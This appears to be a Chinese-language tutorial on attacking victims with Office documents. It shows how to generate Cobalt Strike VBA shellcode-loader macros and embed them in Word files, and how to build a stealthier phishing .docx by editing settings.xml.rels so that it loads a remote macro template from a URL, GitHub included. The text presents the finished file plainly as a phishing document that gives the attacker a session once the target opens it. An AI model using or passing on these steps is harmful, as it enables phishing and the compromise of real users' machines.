Office的VBA宏攻击(还有远程模板注入)
原理就是利用VBA宏代码创建进程、申请虚拟内存、拷贝内存将shellcode加载进内存来获取权限,VBA原本是微软为了office使用者们能根据自身的情况来编写代码省去不必要的麻烦,攻击者却可以拿来进行攻击.
其实ppt、word的手法都大同小异,会一种其他的就差不多了
环境相关
win7 word2016(启用宏) cobalt strike的宏代码
环境搭建

选项->信任中心->信任中心设置->宏设置->启用所有宏

选项->自定义功能区-->打开开发工具

启用宏的word文档
使用cobalt strike生成VBA宏代码,之后将宏代码粘贴到word、ppt等,这里面以Word展示一下
Attacks->Packages->MS Office Macro

打开office生成一个文档,之后将其保存为启用宏的文档

之后在视图->宏中添加宏(随意起个名字,之后点击创建)

将宏代码填入这个位置

之后点击一下文档就能收到会话了
这种方法很容易被检测到,下面介绍另一种技术远程模板加载
远程模板注入技术
word文件一般与三个后缀名有关,docx、docm、dotm
docm
就是启用宏的word文档,不需要其他的东西就可以自己启动宏,上文就是这种类型
docx
是普通的word文件,自身没有任何宏代码,但是可以远程加载宏模板
dotm
就是上文的宏的模板,下面演示一下,如何使用
首先创建一个dotm文件

之后打开->创建宏->填入宏代码(与上文制作的类似)
在创建一个docx文件

后缀名修改为zip,然后解压

修改./word/_rels/settings.xml.rels
文件,如果没有请创建
写入以下内容
<Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="这里放payload"/></Relationships>
在Target出填写模板地址
如果想加载本机的模板,使用file协议本地加载`file:///c:\test\Docx1.dotm`
远程加载的话使用,直接https://xxxxxx/Docx1.dotm(GitHub上的话使用https://github.com/xxxx/GItLearn/blob/master/Doc1.dotm?raw=true)
然后在将源文件解压为zip,在修改为docx,这样一份钓鱼文件就完成了(若是对方开启了宏功能的话点击就会上线)

相比于其他,远程模板技术更隐蔽,因为docx是不自带宏代码的
参考资料
https://payloads.online/archivers/2019-05-16/1#0x04-%E6%95%88%E6%9E%9C